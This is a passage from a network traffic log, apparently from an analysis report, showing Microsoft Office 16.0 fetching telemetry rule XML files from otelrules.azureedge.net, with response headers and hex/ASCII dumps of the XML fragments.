2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-185f5d8b95crwqd8hC1NYCps6800000009sg00000000nxsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49827	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-185f5d8b95c95vpshC1NYC759c00000009xg000000007eyc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49828	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-r1d97b995778dpcthC1TEB4b5400000008cg00000000a5w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49829	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-r1d97b99577656nchC1TEBk98c00000008g000000000dm7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49831	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-185f5d8b95cp7lkfhC1NYC7rpw00000009x000000000px3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49830	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-r1d97b9957744xz5hC1TEB5bf800000008e00000000061mw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49832	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-185f5d8b95cdcwrthC1NYCy5b800000009s000000000p8x4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49834	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:35 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071235Z-r1d97b995774n5h6hC1TEBvf8400000008f0000000009yss x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49835	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071236Z-1777c6cb754dqf99hC1TEB5nps000000092000000000cgxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49837	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071236Z-1777c6cb754whff4hC1TEBcd6c00000007wg000000009mas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49836	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071236Z-185f5d8b95c96jn4hC1NYCbgp80000000a000000000004n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49838	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:36 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071236Z-r1d97b99577dd2gchC1TEBz5ys00000008a000000000c443 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
